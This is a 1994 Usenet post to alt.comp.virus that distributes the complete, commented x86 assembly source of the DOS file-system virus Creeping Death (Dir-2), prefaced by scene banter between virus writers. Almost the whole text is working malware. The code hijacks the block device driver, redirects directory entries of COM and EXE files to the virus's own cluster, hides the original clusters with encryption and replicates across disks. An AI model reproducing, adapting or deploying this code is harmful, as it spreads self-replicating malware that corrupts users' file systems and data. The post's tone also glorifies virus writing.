From netcom.com!ix.netcom.com!howland.reston.ans.net!gatech!bloom-beacon.mit.edu!uhog.mit.edu!rutgers!engr.orst.edu!gaia.ucs.orst.edu!myhost.subdomain.domain!clair Tue Nov 29 09:49:24 1994
Xref: netcom.com alt.comp.virus:484
Path: netcom.com!ix.netcom.com!howland.reston.ans.net!gatech!bloom-beacon.mit.edu!uhog.mit.edu!rutgers!engr.orst.edu!gaia.ucs.orst.edu!myhost.subdomain.domain!clair
From: clair@myhost.subdomain.domain (The Clairvoyant)
Newsgroups: alt.comp.virus
Subject: Dir-2 source
Date: 28 Nov 1994 07:32:50 GMT
Organization: String to put in the Organization Header
Lines: 578
Message-ID: <3bc133$mjc@gaia.ucs.orst.edu>
NNTP-Posting-Host: tempest.rhn.orst.edu
X-Newsreader: TIN [version 1.2 PL2]



	This is the source to Creeping Death aka Dir-2, commented by Dark
Angel of Phalcon/Skism.  Despite the fact that it was written in Bulgaria,
I'm sure ol' Zepistotle will claim to have written this virus as well, as
he did the Jackal virus (written by Priest) in an earlier post, and the 
Max (written by Memory lapse) and Tremor (written by Neurobasher) viruses
on IRC (Thanks a lot, qark. ;)  By the way Zep, we are all still waiting 
for the Tremor source you said you'd post in your chastising rant about
the unexecuteable Tremor disassembly posted by ScottJP.

Cheers,
The Clairvoyant.

------------------------------------------------------------------------------
; Dark Angel's comments: I spent my entire waking hours looking at this virus.
;                        I love it.  It is my life.  I worship the drive it
;                        infects.  Take a look at it.  Let not my troubles be
;                        in vain.  Why did I do this?  I sacrifice my life for
;                        the benefit of 40Hex.  If you don't read this, I'm
;                        gonna go join [NuKE].

;        Creeping Death  V 1.0
;
;        (C) Copyright 1991 by VirusSoft Corp.

i13org    =    5f8h
i21org    =    5fch

dir_2   segment byte public
        assume  cs:dir_2, ds:dir_2

        org   100h

start:
         mov   sp,600h                          ; Set up the stack pointer
         inc   word ptr counter                 ; Generation counter
         xor   cx,cx
         mov   ds,cx                            ; DS points to interrupt table
         lds   ax, ds:[0c1h]                    ; Find interrupt 30h
         add   ax,21h                           ; Change it to Int 21h
         push  ds                               ; Save it on stack for use by
         push  ax                               ; subroutine "jump"
         mov   ah,30h                           ; Get DOS version
         call  jump
         cmp   al,4                             ; DOS 4.X+ : SI = 0
         sbb   si,si                            ; DOS 2/3  : SI = -1
         mov   byte ptr [drive+2],byte ptr -1   ; Initialise last drive to
                                                ; "never accessed"
         mov   bx,60h                           ; Adjust memory in ES to
         mov   ah,4ah                           ; BX paragraphs.
         call  jump

         mov   ah,52h                           ; Get DOS List of Lists
         call  jump                             ; to ES:BX
         push  es:[bx-2]                        ; Save Segment of first MCB
         lds   bx,es:[bx]                       ; DS:BX -> 1st DPB
                                                ;  (Drive parameter block)
search:  mov   ax,[bx+si+15h]                   ; Get segment of device driver
         cmp   ax,70h                           ; Is it CONFIG? (I think)
         jne   next                             ; If not, try again
         xchg  ax,cx                            ; Move driver segment to CX
         mov   [bx+si+18h],byte ptr -1          ; Flag block must be rebuilt
         mov   di,[bx+si+13h]                   ; Save offset of device driver
                                                ; Original device driver
                                                ; address in CX:DI
         mov   [bx+si+13h],offset header        ; Replace with our own
         mov   [bx+si+15h],cs                   ;  (header)
next:    lds   bx,[bx+si+19h]                   ; Get next device block
         cmp   bx,-1                            ; Is it the last one?
         jne   search                           ; If not, search it
         jcxz  install

         pop   ds                               ; Restore segment of first
         mov   ax,ds                            ; MCB
         add   ax,ds:[3]                        ; Go to next MCB
         inc   ax                               ; AX = segment next MCB
         mov   dx,cs                            ; DX = MCB owning current
         dec   dx                               ;      program
         cmp   ax,dx                            ; Are these the same?
         jne   no_boot                          ; If not, we are not currently
                                                ; in the middle of a reboot
         add   word ptr ds:[3],61h              ; Increase length owned by
                                                ; MCB by 1552 bytes
no_boot: mov   ds,dx                            ; DS = MCB owning current
                                                ; program
         mov   word ptr ds:[1],8                ; Set owner = DOS

         mov   ds,cx                            ; DS = segment of original
                                                ;      device driver
         les   ax,[di+6]                        ; ES = offset int handler
                                                ; AX = offset strategy entry
         mov   word ptr cs:str_block,ax         ; Save entry point
         mov   word ptr cs:int_block,es         ; And int block for use in
                                                ; function _in
         cld                                    ; Scan for the write
         mov   si,1                             ; function in the
scan:    dec   si                               ; original device driver
         lodsw
         cmp   ax,1effh
         jne   scan
         mov   ax,2cah                          ; Wicked un-yar place o'
         cmp   [si+4],ax                        ; doom.
         je    right
         cmp   [si+5],ax
         jne   scan
right:   lodsw
         push  cs
         pop   es
         mov   di,offset modify+1               ; Save address of patch
         stosw                                  ; area so it can be changed
         xchg  ax,si                            ; later.
         mov   di,offset i13org                 ; This is in the stack, but
         cli                                    ; it is used by "i13pr"
         movsw
         movsw

         mov   dx,0c000h                        ; Scan for hard disk ROM
                                                ; Start search @ segment C000h
fdsk1:   mov   ds,dx                            ; Load up the segment
         xor   si,si                            ; atart at offset 0000h
         lodsw                                  ; Scan for the signature
         cmp   ax,0aa55h                        ; Is it the signature?
         jne   fdsk4                            ; If not, change segment
         cbw                                    ; clear AH
         lodsb                                  ; load a byte to AL
         mov   cl,9
         sal   ax,cl                            ; Shift left, 0 filled
fdsk2:   cmp   [si],6c7h
         jne   fdsk3
         cmp   word ptr [si+2],4ch
         jne   fdsk3
         push  dx                               ; Save the segment
         push  [si+4]                           ; and offset on stack
         jmp   short death                      ; for use by i13pr

install: int   20h
file:    db    "c:",255,0
fdsk3:   inc   si                               ; Increment search offset
         cmp   si,ax                            ; If we are not too high,
         jb    fdsk2                            ; try again
fdsk4:   inc   dx                               ; Increment search segment
         cmp   dh,0f0h                          ; If we are not in high
         jb    fdsk1                            ; memory, try again

         sub   sp,4                             ; effectively push dummy vars.
death:   push  cs                               ; on stack for use by i13pr
         pop   ds
         mov   bx,ds:[2ch]                      ; Get environment from PSP
         mov   es,bx
         mov   ah,49h                           ; Release it (to save memory)
         call  jump
         xor   ax,ax
         test  bx,bx                            ; Is BX = 0?
         jz    boot                             ; If so, we are booting now
         mov   di,1                             ; and not running a file
seek:    dec   di                               ; Search for end of
         scasw                                  ; the environment block
         jne   seek
         lea   si,[di+2]                        ; SI points to filename
         jmp   short exec                       ; (in DOS 3.X+)
                                                ; Execute that file
boot:    mov   es,ds:[16h]                      ; get PSP of parent
         mov   bx,es:[16h]                      ; get PSP of parent
         dec   bx                               ; go to its MCB
         xor   si,si
exec:    push  bx
         mov   bx,offset param                  ; Set up parameter block
                                                ; for EXEC function
         mov   [bx+4],cs                        ; segment to command line
         mov   [bx+8],cs                        ; segment to 1st FCB
         mov   [bx+12],cs                       ; segment to 2nd FCB
         pop   ds
         push  cs
         pop   es

         mov   di,offset f_name
         push  di                               ; Save filename offset
         mov   cx,40                            ; Copy the filename to
         rep   movsw                            ; the buffer
         push  cs
         pop   ds

         mov   ah,3dh                           ; Handle open file
         mov   dx,offset file                   ; "c:ÿ",0
         call  jump
         pop   dx                               ; DS:DX -> filename

         mov   ax,4b00h                         ; Load and Execute
         call  jump                             ; ES:BX = param block
         mov   ah,4dh                           ; Get errorlevel
         call  jump
         mov   ah,4ch                           ; Terminate

jump:    pushf                                  ; Simulate an interrupt 21h
         call  dword ptr cs:[i21org]
         ret


;--------Installation complete

i13pr:   mov   ah,3                             ; Write AL sectors from ES:BX
         jmp   dword ptr cs:[i13org]            ; to track CH, sector CL,
                                                ; head DH, drive DL


main:    push  ax            ; driver
         push  cx            ; strategy block
         push  dx
         push  ds
         push  si
         push  di

         push  es                               ; Move segment of parameter
         pop   ds                               ; block to DS
         mov   al,[bx+2]                        ; [bx+2] holds command code

         cmp   al,4                             ; Input (read)
         je    input
         cmp   al,8                             ; Output (write)
         je    output
         cmp   al,9                             ; Output (write) with verify
         je    output

         call  in_                              ; Call original device
         cmp   al,2                             ; Request build BPB
         jne   ppp                              ; If none of the above, exit
         lds   si,[bx+12h]                      ; DS:SI point to BPB table
         mov   di,offset bpb_buf                ; Replace old pointer with
         mov   es:[bx+12h],di                   ; a pointer to our own
         mov   es:[bx+14h],cs                   ; BPB table
         push  es                               ; Save segment of parameters
         push  cs
         pop   es
         mov   cx,16                            ; Copy the old BPB table to
         rep   movsw                            ; our own
         pop   es                               ; Restore parameter segment
         push  cs
         pop   ds
         mov   al,[di+2-32]                     ; AL = sectors per allocation
         cmp   al,2                             ;      unit.  If less than
         adc   al,0                             ;      2, increment
         cbw                                    ; Extend sign to AH (clear AH)
         cmp   word ptr [di+8-32],0             ; Is total number sectors = 0?
         je    m32                              ; If so, big partition (>32MB)
         sub   [di+8-32],ax                     ; Decrease space of disk by
                                                ; one allocation unit(cluster)
         jmp   short ppp                        ; Exit
m32:     sub   [di+15h-32],ax                   ; Handle large partitions
         sbb   word ptr [di+17h-32],0

ppp:     pop   di
         pop   si
         pop   ds
         pop   dx
         pop   cx
         pop   ax
rts:     retf                                   ; We are outta here!

output:  mov   cx,0ff09h
         call  check                            ; is it a new disk?
         jz    inf_sec                          ; If not, go away
         call  in_                              ; Call original device handler
         jmp   short inf_dsk

inf_sec: jmp   _inf_sec
read:    jmp   _read
read_:   add   sp,16                            ; Restore the stack
         jmp   short ppp                        ; Leave device driver

input:   call  check                            ; Is it a new disk?
         jz    read                             ; If not, leave
inf_dsk: mov   byte ptr [bx+2],4                ; Set command code to READ
         cld
         lea   si,[bx+0eh]                      ; Load from buffer address
         mov   cx,8                             ; Save device driver request
save:    lodsw                                  ; on the stack
         push  ax
         loop  save
         mov   word ptr [bx+14h],1              ; Starting sector number = 1
                                                ; (Read 1st FAT)
         call  driver                           ; Read one sector
         jnz   read_                            ; If error, exit
         mov   byte ptr [bx+2],2                ; Otherwise build BPB
         call  in_                              ; Have original driver do the
                                                ; work
         lds   si,[bx+12h]                      ; DS:SI points to BPB table
         mov   ax,[si+6]                        ; Number root directory entries
         add   ax,15                            ; Round up
         mov   cl,4
         shr   ax,cl                            ; Divide by 16 to find sectors
                                                ; of root directory
         mov   di,[si+0bh]                      ; DI = sectors/FAT
         add   di,di                            ; Double for 2 FATs
         stc                                    ; Add one for boot record
         adc   di,ax                            ; Add sector size of root dir
         push  di                               ; to find starting sector of
                                                ; data (and read)
         cwd                                    ; Clear DX
         mov   ax,[si+8]                        ; AX = total sectors
         test  ax,ax                            ; If it is zero, then we have
         jnz   more                             ; an extended partition(>32MB)
         mov   ax,[si+15h]                      ; Load DX:AX with total number
         mov   dx,[si+17h]                      ; of sectors
more:    xor   cx,cx
         sub   ax,di                            ; Calculate FAT entry for last
                                                ; sector of disk
         sbb   dx,cx
         mov   cl,[si+2]                        ; CL = sectors/cluster
         div   cx                               ; AX = cluster #
         cmp   cl,2                             ; If there is more than 1
         sbb   ax,-1                            ; cluster/sector, add one
         push  ax                               ; Save cluster number
         call  convert                          ; AX = sector number to read
                                                ; DX = offset in sector AX
                                                ;      of FAT entry
                                                ; DI = mask for EOF marker
         mov   byte ptr es:[bx+2],4             ; INPUT (read)
         mov   es:[bx+14h],ax                   ; Starting sector = AX
         call  driver                           ; One sector only
again:   lds   si,es:[bx+0eh]                   ; DS:SI = buffer address
         add   si,dx                            ; Go to FAT entry
         sub   dh,cl                            ; Calculate a new encryption
         adc   dx,ax                            ; value
         mov   word ptr cs:gad+1,dx             ; Change the encryption value
         cmp   cl,1                             ; If there is 0 cluster/sector
         je    small_                           ; then jump to "small_"
         mov   ax,[si]                          ; Load AX with offset of FAT
                                                ; entry
         and   ax,di                            ; Mask it with value from
                                                ; "convert" then test to see
                                                ; if the sector is fine
         cmp   ax,0fff7h                        ; 16 bit reserved/bad
         je    bad
         cmp   ax,0ff7h                         ; 12 bit reserved/bad
         je    bad
         cmp   ax,0ff70h                        ; 12 bit reserved/bad
         jne   ok
bad:     pop   ax                               ; Tried to replicate on a bad
         dec   ax                               ; cluster.  Try again on a
         push  ax                               ; lower one.
         call  convert                          ; Find where it is in the FAT
         jmp   short again                      ; and try once more
small_:  not   di                               ; Reverse mask bits
         and   [si],di                          ; Clear other bits
         pop   ax                               ; AX = cluster number
         push  ax
         inc   ax                               ; Need to do 2 consecutive
         push  ax                               ; bytes
         mov   dx,0fh
         test  di,dx
         jz    here
         inc   dx                               ; Multiply by 16
         mul   dx
here:    or    [si],ax                          ; Set cluster to next
         pop   ax                               ; Restore cluster of write
         call  convert                          ; Calculate buffer offset
         mov   si,es:[bx+0eh]                   ; Go to FAT entry (in buffer)
         add   si,dx
         mov   ax,[si]
         and   ax,di
ok:      mov   dx,di                            ; DI = mask from "convert"
         dec   dx
         and   dx,di                            ; Yerg!
         not   di
         and   [si],di
         or    [si],dx                          ; Set [si] to DI

         cmp   ax,dx                            ; Did we change the FAT?
         pop   ax                               ; i.e. Are we already on this
         pop   di                               ; disk?
         mov   word ptr cs:pointer+1,ax         ; Our own starting cluster
         je    _read_                           ; If we didn't infect, then
                                                ; leave the routine.  Oh
                                                ; welp-o.
         mov   dx,[si]
         push  ds
         push  si
         call  write                            ; Update the FAT
         pop   si
         pop   ds
         jnz   _read_                           ; Quit if there's an error
         call  driver
         cmp   [si],dx
         jne   _read_
         dec   ax
         dec   ax
         mul   cx                               ; Multiply by sectors/cluster
                                                ; to find the sector of the
                                                ; write
         add   ax,di
         adc   dx,0
         push  es
         pop   ds
         mov   word ptr [bx+12h],2              ; Byte/sector count
         mov   [bx+14h],ax                      ; Starting sector #
         test  dx,dx
         jz    less
         mov   word ptr [bx+14h],-1             ; Flag extended partition
         mov   [bx+1ah],ax                      ; Handle the sector of the
         mov   [bx+1ch],dx                      ; extended partition
less:    mov   [bx+10h],cs                      ; Transfer address segment
         mov   [bx+0eh],100h                    ; and the offset (duh)
         call  write                            ; Zopy ourselves!
                                                ; (We want to travel)
_read_:  std
         lea   di,[bx+1ch]                      ; Restore device driver header
         mov   cx,8                             ; from the stack
load:    pop   ax
         stosw
         loop  load
_read:   call  in_                              ; Call original device handler

         mov   cx,9
_inf_sec:
         mov   di,es:[bx+12h]                   ; Bytes/Sector
         lds   si,es:[bx+0eh]                   ; DS:SI = pointer to buffer
         sal   di,cl                            ; Multiply by 512
                                                ; DI = byte count
         xor   cl,cl
         add   di,si                            ; Go to address in the buffer
         xor   dl,dl                            ; Flag for an infection in
                                                ; function find
         push  ds
         push  si
         call  find                             ; Infect the directory
         jcxz  no_inf
         call  write                            ; Write it back to the disk
         and   es:[bx+4],byte ptr 07fh          ; Clear error bit in status
                                                ; word
no_inf:  pop   si
         pop   ds
         inc   dx                               ; Flag for a decryption in
                                                ; function find
         call  find                             ; Return right information to
                                                ; calling program
         jmp   ppp

;--------Subroutines

find:    mov   ax,[si+8]                        ; Check filename extension
         cmp   ax,"XE"                          ; in directory structure
         jne   com
         cmp   [si+10],al
         je    found
com:     cmp   ax,"OC"
         jne   go_on
         cmp   byte ptr [si+10],"M"
         jne   go_on
found:   test  [si+1eh],0ffc0h ; >4MB           ; Check file size high word
         jnz   go_on                            ; to see if it is too big
         test  [si+1dh],03ff8h ; <2048B         ; Check file size low word
         jz    go_on                            ; to see if it is too small
         test  [si+0bh],byte ptr 1ch            ; Check attribute for subdir,
         jnz   go_on                            ; volume label or system file
         test  dl,dl                            ; If none of these, check DX
         jnz   rest                             ; If not 0, decrypt
pointer: mov   ax,1234h                         ; mov ax, XX modified elsewhere
         cmp   ax,[si+1ah]                      ; Check for same starting
                                                ; cluster number as us
         je    go_on                            ; If it is, then try another
         xchg  ax,[si+1ah]                      ; Otherwise make it point to
                                                ; us.
gad:     xor   ax,1234h                         ; Encrypt their starting
                                                ; cluster
         mov   [si+14h],ax                      ; And put it in area reserved
                                                ; by DOS for no purpose
         loop  go_on                            ; Try another file
rest:    xor   ax,ax                            ; Disinfect the file
         xchg  ax,[si+14h]                      ; Get starting cluster
         xor   ax,word ptr cs:gad+1             ; Decrypt the starting cluster
         mov   [si+1ah],ax                      ; and put it back
go_on:   db    2eh,0d1h,6                       ; rol cs:[gad+1], 1
         dw    offset gad+1                     ; Change encryption and
         add   si,32                            ; go to next file
         cmp   di,si                            ; If it is not past the end of
         jne   find                             ; the buffer, then try again
         ret                                    ; Otherwise quit

check:   mov   ah,[bx+1]                        ; ah = unit code (block device
                                                ;                 only)
drive:   cmp   ah,-1                            ; cmp ah, XX can change.
                                                ; Compare with the last call
                                                ; -1 is just a dummy
                                                ; impossible value that will
                                                ; force the change to be true
         mov   byte ptr cs:[drive+2],ah         ; Save this call's drive
         jne   changed                          ; If not the same as last call
                                                ; media has changed
         push  [bx+0eh]                         ; If it is the same physical
                                                ; drive, see if floppy has
                                                ; been changed
         mov   byte ptr [bx+2],1                ; Tell original driver to do a
         call  in_                              ; media check (block only)
         cmp   byte ptr [bx+0eh],1              ; Returns 1 in [bx+0eh] if
         pop   [bx+0eh]                         ; media has not been changed
         mov   [bx+2],al                        ; Restore command code
changed: ret                                    ; CF,ZF set if media has not
                                                ; been changed, not set if
                                                ; has been changed or we don't
                                                ; know
write:   cmp   byte ptr es:[bx+2],8             ; If we want OUTPUT, go to
         jae   in_                              ; original device handler
                                                ; and return to caller
         mov   byte ptr es:[bx+2],4             ; Otherwise, request INPUT
         mov   si,70h
         mov   ds,si                            ; DS = our segment
modify:  mov   si,1234h                         ; Address is changed elsewhere
         push  [si]
         push  [si+2]
         mov   [si],offset i13pr
         mov   [si+2],cs
         call  in_                              ; Call original device handler
         pop   [si+2]
         pop   [si]
         ret

driver:  mov   word ptr es:[bx+12h],1           ; One sector
in_:                                            ; in_ first calls the strategy
                                                ; of the original device
                                                ; driver and then calls the
                                                ; interrupt handler
         db    09ah                             ; CALL FAR PTR
str_block:
         dw    ?,70h                            ; address
         db    09ah                             ; CALL FAR PTR
int_block:
         dw    ?,70h                            ; address
         test  es:[bx+4],byte ptr 80h           ; Was there an error?
         ret

convert: cmp   ax,0ff0h                         ; 0FFF0h if 12 bit FAT
         jae   fat_16                           ; 0FF0h = reserved cluster
         mov   si,3                             ; 12 bit FAT
         xor   word ptr cs:[si+gad-1],si        ; Change the encryption value
         mul   si                               ; Multiply by 3 and
         shr   ax,1                             ; divide by 2
         mov   di,0fffh                         ; Mark it EOF (low 12 bits)
         jnc   cont                             ; if it is even, continue
         mov   di,0fff0h                        ; otherwise, mark it EOF (high
         jmp   short cont                       ; 12 bits) and then continue
fat_16:  mov   si,2                             ; 16 bit FAT
         mul   si                               ; Double cluster #
         mov   di,0ffffh                        ; Mark it as end of file
cont:    mov   si,512
         div   si                               ; AX = sector number
                                                ; (relative to start of FAT)
                                                ; DX = offset in sector AX
header:  inc   ax                               ; Increment AX to account for
         ret                                    ; boot record

counter: dw    0

         dw    842h                             ; Attribute
                                                ;  Block device
                                                ;  DOS 3 OPEN/CLOSE removable
                                                ;        media calls supported
                                                ;  Generic IOCTL call supported
                                                ; Supports 32 bit sectors
         dw    offset main                      ; Strategy routine
         dw    offset rts                       ; Interrupt routine (rtf)
         db    7fh                              ; Number of subunits supported
                                                ; by this driver.  Wow, lookit
                                                ; it -- it's so large and juicy

; Parameter block format:
; 0  WORD Segment of environment
; 2 DWORD pointer to command line
; 6 DWORD pointer to 1st default FCB
;10 DWORD pointer to 2nd default FCB
param:   dw    0,80h,?,5ch,?,6ch,?

bpb_buf: db    32 dup(?)
f_name:  db    80 dup(?)

;--------The End.
dir_2   ends
        end     start

